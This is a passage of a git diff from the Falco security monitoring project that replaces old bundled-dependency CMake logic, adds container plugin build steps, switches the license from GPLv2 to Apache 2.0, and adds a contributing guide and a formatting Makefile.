-	message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'")
-	set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
-	set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
-	ExternalProject_Add(luajit
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
-		URL_MD5 "f14e9104be513913810cd59c8c658dc0"
-		CONFIGURE_COMMAND ""
-		BUILD_COMMAND ${CMD_MAKE}
-		BUILD_IN_SOURCE 1
-		INSTALL_COMMAND "")
-endif()
-
-#
-# Lpeg
-#
-option(USE_BUNDLED_LPEG "Enable building of the bundled lpeg" ${USE_BUNDLED_DEPS})
-
-if(NOT USE_BUNDLED_LPEG)
-	find_library(LPEG_LIB NAMES lpeg.a)
-	if(LPEG_LIB)
-		message(STATUS "Found lpeg: lib: ${LPEG_LIB}")
-	else()
-		message(FATAL_ERROR "Couldn't find system lpeg")
-	endif()
-else()
-	set(LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
-	set(LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a")
-	message(STATUS "Using bundled lpeg in '${LPEG_SRC}'")
-	set(LPEG_DEPENDENCIES "")
-	if(USE_BUNDLED_LUAJIT)
-		list(APPEND LPEG_DEPENDENCIES "luajit")
-	endif()
-	ExternalProject_Add(lpeg
-		DEPENDS ${LPEG_DEPENDENCIES}
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
-		URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
-		BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build"
-		BUILD_IN_SOURCE 1
-		CONFIGURE_COMMAND ""
-		INSTALL_COMMAND "")
-endif()
-
-#
-# Libyaml
-#
-option(USE_BUNDLED_LIBYAML "Enable building of the bundled libyaml" ${USE_BUNDLED_DEPS})
-
-if(NOT USE_BUNDLED_LIBYAML)
-	# Note: to distinguish libyaml.a and yaml.a we specify a full
-	# file name here, so you'll have to arrange for static
-	# libraries being available.
-	find_library(LIBYAML_LIB NAMES libyaml.a)
-	if(LIBYAML_LIB)
-		message(STATUS "Found libyaml: lib: ${LIBYAML_LIB}")
-	else()
-		message(FATAL_ERROR "Couldn't find system libyaml")
-	endif()
-else()
-	find_path(AUTORECONF_BIN NAMES autoreconf)
-	if(AUTORECONF_BIN)
-		message(STATUS "Found autoreconf: ${AUTORECONF_BIN}")
-	else()
-		message(FATAL_ERROR "Couldn't find system autoreconf. Please install autoreconf before continuing or use system libyaml")
-	endif()
-
-	set(LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml/src")
-	set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a")
-	message(STATUS "Using bundled libyaml in '${LIBYAML_SRC}'")
-	ExternalProject_Add(libyaml
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
-		URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7"
-		BUILD_COMMAND ${CMD_MAKE}
-		BUILD_IN_SOURCE 1
-		CONFIGURE_COMMAND ./bootstrap && ./configure
-		INSTALL_COMMAND "")
-endif()
-
-#
-# lyaml
-#
-option(USE_BUNDLED_LYAML "Enable building of the bundled lyaml" ${USE_BUNDLED_DEPS})
-
-if(NOT USE_BUNDLED_LYAML)
-	# Note: to distinguish libyaml.a and yaml.a we specify a full
-	# file name here, so you'll have to arrange for static
-	# libraries being available.
-	find_library(LYAML_LIB NAMES yaml.a)
-	if(LYAML_LIB)
-		message(STATUS "Found lyaml: lib: ${LYAML_LIB}")
-	else()
-		message(FATAL_ERROR "Couldn't find system lyaml")
-	endif()
-else()
-	set(LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml")
-	set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a")
-	message(STATUS "Using bundled lyaml in '${LYAML_SRC}'")
-	set(LYAML_DEPENDENCIES "")
-	if(USE_BUNDLED_LUAJIT)
-		list(APPEND LYAML_DEPENDENCIES "luajit")
-	endif()
-	if(USE_BUNDLED_LIBYAML)
-		list(APPEND LYAML_DEPENDENCIES "libyaml")
-	endif()
-	ExternalProject_Add(lyaml
-		DEPENDS ${LYAML_DEPENDENCIES}
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
-                URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
-                BUILD_COMMAND ${CMD_MAKE}
-                BUILD_IN_SOURCE 1
-		CONFIGURE_COMMAND ./configure --enable-static LIBS=-L../../../libyaml-prefix/src/libyaml/src/.libs CFLAGS=-I../../../libyaml-prefix/src/libyaml/include CPPFLAGS=-I../../../libyaml-prefix/src/libyaml/include LUA_INCLUDE=-I../../../luajit-prefix/src/luajit/src LUA=../../../luajit-prefix/src/luajit/src/luajit
-                INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua")
-endif()
-
-install(FILES falco.yaml
-	DESTINATION "${FALCO_ETC_DIR}")
-
-add_subdirectory(rules)
-
-if(CMAKE_SYSTEM_NAME MATCHES "Linux")
-	add_subdirectory("${SYSDIG_DIR}/driver" "${PROJECT_BINARY_DIR}/driver")
-endif()
-add_subdirectory("${SYSDIG_DIR}/userspace/libscap" "${PROJECT_BINARY_DIR}/userspace/libscap")
-add_subdirectory("${SYSDIG_DIR}/userspace/libsinsp" "${PROJECT_BINARY_DIR}/userspace/libsinsp")
-
-set(FALCO_SINSP_LIBRARY sinsp)
+# Shared build variables
 set(FALCO_SHARE_DIR share/falco)
 set(FALCO_ABSOLUTE_SHARE_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}")
 set(FALCO_BIN_DIR bin)
+
 add_subdirectory(scripts)
 add_subdirectory(userspace/engine)
 add_subdirectory(userspace/falco)
 
+if(NOT WIN32
+   AND NOT APPLE
+   AND NOT EMSCRIPTEN
+   AND NOT MUSL_OPTIMIZED_BUILD
+)
+	include(falcoctl)
+	set(CONTAINER_VERSION "0.6.1")
+	if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
+		set(CONTAINER_HASH "008989992ed1f31b3ffb94ba6b64ca5a8e2f91611a10c9d6213c5c0a499d0679")
+	else() # arm64
+		set(CONTAINER_HASH "f90a700b4c2b411b23e7cc461b61a316b242994aad853c3e6baf12481fb6f6c9")
+	endif()
+	include(container_plugin)
 
-set(CPACK_PACKAGE_NAME "${PACKAGE_NAME}")
-set(CPACK_PACKAGE_VENDOR "Sysdig Inc.")
-set(CPACK_PACKAGE_DESCRIPTION_SUMMARY "falco, a system-level activity monitoring tool")
-set(CPACK_PACKAGE_DESCRIPTION_FILE "${PROJECT_SOURCE_DIR}/scripts/description.txt")
-set(CPACK_PACKAGE_VERSION "${FALCO_VERSION}")
-set(CPACK_PACKAGE_FILE_NAME "${CPACK_PACKAGE_NAME}-${CPACK_PACKAGE_VERSION}-${CMAKE_SYSTEM_PROCESSOR}")
-set(CPACK_PROJECT_CONFIG_FILE "${PROJECT_SOURCE_DIR}/CMakeCPackOptions.cmake")
-set(CPACK_STRIP_FILES "ON")
-set(CPACK_PACKAGE_RELOCATABLE "OFF")
+	# Generate a binary_dir/falco.yaml that automatically enables the plugin to be used for local
+	# testing.
+	configure_file(${CMAKE_CURRENT_SOURCE_DIR}/falco.yaml ${CMAKE_BINARY_DIR} COPYONLY)
+	# The custom target configures the plugin and set its path
+	add_custom_target(
+		container
+		COMMAND sed -i 's,^load_plugins: .*,load_plugins: [container],g'
+				${CMAKE_BINARY_DIR}/falco.yaml
+		COMMAND sed -i 's,library_path: libcontainer.so,library_path: ${CONTAINER_LIBRARY},g'
+				${CMAKE_BINARY_DIR}/falco.yaml
+		DEPENDS container_plugin
+	)
+	# Let `make falco` also download container plugin
+	add_dependencies(falco container)
 
-set(CPACK_GENERATOR DEB RPM TGZ)
+	# Install the plugin
+	install(
+		FILES "${CONTAINER_LIBRARY}"
+		DESTINATION "${FALCO_ABSOLUTE_SHARE_DIR}/plugins"
+		COMPONENT "${FALCO_COMPONENT_NAME}"
+	)
+	# Install additional config override file to enable the container plugin
+	install(
+		FILES "${PROJECT_SOURCE_DIR}/config/falco.container_plugin.yaml"
+		DESTINATION "${FALCO_ETC_DIR}/config.d"
+		COMPONENT "${FALCO_COMPONENT_NAME}"
+	)
+endif()
 
-set(CPACK_DEBIAN_PACKAGE_MAINTAINER "Sysdig <support@sysdig.com>")
-set(CPACK_DEBIAN_PACKAGE_SECTION "utils")
-set(CPACK_DEBIAN_PACKAGE_HOMEPAGE "http://www.sysdig.org")
-set(CPACK_DEBIAN_PACKAGE_DEPENDS "dkms (>= 2.1.0.0)")
-set(CPACK_DEBIAN_PACKAGE_CONTROL_EXTRA "${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${PROJECT_SOURCE_DIR}/scripts/debian/postrm;${PROJECT_SOURCE_DIR}/cpack/debian/conffiles")
+# Packages configuration
+include(CPackConfig)
 
-set(CPACK_RPM_PACKAGE_LICENSE "GPLv2")
-set(CPACK_RPM_PACKAGE_URL "http://www.sysdig.org")
-set(CPACK_RPM_PACKAGE_REQUIRES "dkms, gcc, make, kernel-devel, perl")
-set(CPACK_RPM_POST_INSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/postinstall")
-set(CPACK_RPM_PRE_UNINSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/preuninstall")
-set(CPACK_RPM_POST_UNINSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/postuninstall")
-set(CPACK_RPM_EXCLUDE_FROM_AUTO_FILELIST_ADDITION /usr/src /usr/share/man /usr/share/man/man8 /etc /usr /usr/bin /usr/share /etc/rc.d /etc/rc.d/init.d )
-set(CPACK_RPM_PACKAGE_RELOCATABLE "OFF")
-
-include(CPack)
+if(BUILD_FALCO_UNIT_TESTS)
+	add_subdirectory(unit_tests)
+endif()

COPYING

@@ -1,339 +1,202 @@
-                    GNU GENERAL PUBLIC LICENSE
-                       Version 2, June 1991
 
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
- 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
 
-                            Preamble
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
 
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Lesser General Public License instead.)  You can apply it to
-your programs, too.
+   1. Definitions.
 
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
 
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
 
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
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+      "control" means (i) the power, direct or indirect, to cause the
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+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
 
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
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+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
 
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
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-want its recipients to know that what they have is not the original, so
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+      "Source" form shall mean the preferred form for making modifications,
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+      source, and configuration files.
 
-  Finally, any free program is threatened constantly by software
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-  The precise terms and conditions for copying, distribution and
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+      "Work" shall mean the work of authorship, whether in Source or
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+      (an example is provided in the Appendix below).
 
-                    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+      "Derivative Works" shall mean any work, whether in Source or Object
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-  0. This License applies to any program or other work which contains
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-Activities other than copying, distribution and modification are not
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-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
 
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
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-notices that refer to this License and to the absence of any warranty;
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-along with the Program.
+   2. Grant of Copyright License. Subject to the terms and conditions of
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-You may charge a fee for the physical act of transferring a copy, and
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-  2. You may modify your copy or copies of the Program or any portion
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+      (c) You must retain, in the Source form of any Derivative Works
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-  3. You may copy and distribute the Program (or a work based on it,
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+   END OF TERMS AND CONDITIONS
 
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+   APPENDIX: How to apply the Apache License to your work.
 
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
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-this License will not have their licenses terminated so long as such
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+      To apply the Apache License to your work, attach the following
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-  5. You are not required to accept this License, since you have not
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-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
+   Copyright 2019 The Falco Authors
 
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
 
-  7. If, as a consequence of a court judgment or allegation of patent
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-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
+       http://www.apache.org/licenses/LICENSE-2.0
 
-If any portion of this section is held invalid or unenforceable under
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-to ask for permission.  For software which is copyrighted by the Free
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-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-                            NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-                     END OF TERMS AND CONDITIONS
-
-            How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License along
-    with this program; if not, write to the Free Software Foundation, Inc.,
-    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Lesser General
-Public License instead of this License.
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

Contributing.md

@@ -0,0 +1,207 @@
+# How to contribute
+
+## Enforce coding style 💻
+
+### Introduction
+
+This document introduces the coding style that will be applied in this repository.
+This coding style involves all the following files: `.c`, `.h`, `.cpp`, `.cmake`, `CMakeLists.txt`. To enforce it we rely on two main tools:
+
+1. `clang-format` version `18.1.8`.
+2. `cmake-format` version `0.6.13`.
+
+> __Please note__: tools versions are important! Different versions will enforce slightly different changes on the code. For example `clang-format-18` will produce a slightly different output respect to `clang-format-17` always respecting the imposed style.
+
+The coding style is expressed through the 2 configuration file that you find in this repo: `.clang-format`, `.cmake-format.json`.  
+
+### Enforce the style locally
+
+There are many ways to enforce the style locally, here we will describe two of them:
+
+1. Use `pre-commit` framework.
+2. Use the repo `Makefile`.
+
+#### 1.Pre-commit framework (suggested if you don't have the 2 tools already installed on your machine)
+
+The `pre-commit` framework allows you to automatically install different `git-hooks` that will run at every new commit. More precisely, if you use the `.pre-commit-config.yaml` in this repo you will install 3 different hooks:
+
+1. The `clang-format` hook: this is a `pre-commit` git hook that runs `clang-format` on your staged changes.
+2. The `cmake-format` hook: this is a `pre-commit` git hook that runs `cmake-format` on your staged changes.
+3. The `DCO signed-off` hook: this is a `pre-commit-msg` git hook that adds the `DCO` on your commit if not present. This hook is not strictly related to the coding style so we will talk about it in a separate section: [Add DCO signed-off to your commits](#add-dco-signed-off-to-your-commits-).
+
+Now let's see what we need to use `pre-commit` framework.
+
+##### Step 1
+
+Install `pre-commit` framework following the [official documentation](https://pre-commit.com/#installation).
+
+> __Please note__: you have to follow only the "Installation" section.
+
+##### Step 2
+
+Once you have installed `pre-commit`, you don't need to install anything else! This is the good point of using a framework like `pre-commit`, all the tools necessary to format your code will be directly managed by the framework. But in order to be ready, you need to install the git hooks in your local repo.
+
+This simple command allows you to install the two `pre-commit` git hooks, `clang-format` and `cmake-format`.
+
+```bash
+pre-commit install --install-hooks --hook-type pre-commit --overwrite  
+```
+
+If you want to install also the `pre-commit-msg` git hook for the DCO you have to type the following command, but be sure to have configured all you need as said in the [dedicated section](#add-dco-signed-off-to-your-commits-)
+
+```bash
+pre-commit install --install-hooks --hook-type prepare-commit-msg --overwrite 
+```
+
+You have done, at every new commit, this hook will check that your patch respects the coding style of this repo!
+
+If you want to detach the git hooks, you can simply type:
+
+```bash
+pre-commit uninstall --hook-type prepare-commit-msg
+pre-commit uninstall --hook-type pre-commit 
+```
+
+#### 2.Makefile
+
+##### Step 1
+
+In order to use the repo `Makefile`, you need to install on your local machine the two aforementioned tools:
+
+__clang-format v18.1.8__
+
+One of the easiest ways to install `clang-format` could be directly downloading its static binary from [here](https://github.com/muttleyxd/clang-tools-static-binaries).
+There are other ways for example you can download the package for your distro or you can also build it from sources.
+
+__cmake-format v0.6.13__
+
+To install `cmake-format` you can follow the official documentation [here](https://cmake-format.readthedocs.io/en/latest/installation.html).
+
+> __NOTE__: Please check the versions of the two tool with `clang-format --version` and `cmake-format --version`.
+
+##### Step 2
+
+Once you have installed the __right__ versions of the 2 tools, you can simply type `make format-all` from the root directory of the project to format all your code according to the coding style.
+
+Remember to do that before submitting a new patch upstream! 😁
+
+#### Other solutions
+
+Obviously, you can also install the 2 tools locally and enable some extension of your favorite IDE (like `VScode`) to format your code every time you save your files!
+
+## Add DCO signed-off to your commits 🔏
+
+### Introduction
+
+Another requirement for contributing to the `falco` repository, is applying the [DCO](https://cert-manager.io/docs/contributing/sign-off/) to every commit you want to push upstream.
+Before doing this you have to configure your git user `name` and `email` if you haven't already done it. To check your actual `name` and `email` type:
+
+```bash
+git config --get user.name
+git config --get user.email
+```
+
+If they are correct you have done, otherwise, you have to set them:
+
+```bash
+git config user.name <full-name>
+git config user.email <mail-used_with-GitHub-profile>
+```
+
+>__Please note__: If you have problems in doing this you can read the full documentation [here](https://docs.github.com/en/get-started/getting-started-with-git/setting-your-username-in-git).
+
+### Enforce the DCO locally
+
+Now you are ready to sign your commits! You have two main ways to do this:
+
+1. Manually with `git` tool.
+2. Use the `pre-commit-msg` hook quoted before.
+
+### Manually
+
+To do this you just need to remember the `-s` while performing your commits:
+
+```bash
+git commit -s
+```
+
+or with the inline message:
+
+```bash
+git commit -s -m "my first commit"
+```
+
+### Use `pre-commit` hook
+
+Here if you have already added the hook in the [previous section](#step-2), you have to do nothing otherwise you have to simply install the DCO hook with:
+
+```bash
+pre-commit install --install-hooks --hook-type prepare-commit-msg --overwrite 
+```
+
+And you have done! Now you don't have to remember the `-s` option every time you commit something, the DCO hook will automatically add the DCO if you forget it! 😄
+
+## Some best practices 📏
+
+### Class variables
+
+To know whether a variable belongs to a `class` or a `function`, we start member variables with `m_`.
+
+Example:
+
+```c
+    public int32_t m_counter;
+```
+
+### Global variables
+
+To know whether the variable is global or not, we start globals with `g_`.
+
+Example:
+
+```c
+    int g_nplugins;
+```
+
+### Capitalization
+
+The naming convention is camel-cased "Unix" style, i.e. always lower case. Words are separated by underscores.
+
+Example:
+
+```c
+    int32_t g_global_bean_counter;
+    int32_t count_beans();
+```
+
+and not,
+
+```c
+    int32_t GlobalBeanCounter;
+    int32_t CountBeans();
+```
+
+### Packed Structures
+
+Packed structures should use the GCC and MSVC-style supported `pragma`:
+
+Example:
+
+```c
+    #pragma pack(push,1)
+    struct frame_control
+    {
+        struct fields....
+    };
+    #pragma pack(pop)
+```
+
+### 64-bit constants
+
+Put an `LL` at the end of your `64-bit` constants. Without the `LL`, some platform compilers try to interpret the constant on the right-hand side as a `long integer` instead of a `long long` and this could lead to an error at building time.
+
+Example:
+
+```c
+    x=0X00FF00000000000LL
+```

LICENSE

@@ -0,0 +1,202 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
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+      for use, reproduction, or distribution of Your modifications, or
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+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
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+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
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+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright 2019 The Falco Authors
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

Makefile

@@ -0,0 +1,81 @@
+#
+# Copyright (C) 2024 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+# mofidy the following variables to match your paths
+CLANG_FORMAT_EXE ?= clang-format
+CLANG_FORMAT_VERSION = "$(shell ${CLANG_FORMAT_EXE} --version | grep -o '[0-9]*\.[0-9]*\.[0-9]*')"
+CLANG_FORMAT_DESIRED_VERSION ="18.1.8"
+
+CMAKE_FORMAT_EXE ?= cmake-format
+CMAKE_FORMAT_VERSION = "$(shell ${CMAKE_FORMAT_EXE} --version | grep -o '[0-9]*\.[0-9]*\.[0-9]*')"
+CMAKE_FORMAT_DESIRED_VERSION = "0.6.13"
+
+PROJECT_ROOT_DIR = $(shell git rev-parse --show-toplevel)
+
+######################
+#    Clang-format    #
+######################
+.PHONY: clang-format-install
+clang-format-install:
+ifeq (, $(shell ${CLANG_FORMAT_EXE} --version))
+	@echo "${CLANG_FORMAT_EXE} is not installed. Please read the 'coding style' doc to get more info."
+	@exit 1
+endif
+
+ifneq ($(CLANG_FORMAT_VERSION), $(CLANG_FORMAT_DESIRED_VERSION))
+	@echo "${CLANG_FORMAT_EXE} version is not '${CLANG_FORMAT_DESIRED_VERSION}'. Actual version is '${CLANG_FORMAT_VERSION}'"
+	@exit 1
+endif
+
+.PHONY: format-clang
+format-clang: clang-format-install
+	git ls-files --directory ${PROJECT_ROOT_DIR} | grep -E '\.(cpp|h|c)$$' | xargs ${CLANG_FORMAT_EXE} -Werror --style=file:${PROJECT_ROOT_DIR}/.clang-format -i
+
+.PHONY: check-clang
+check-clang: clang-format-install
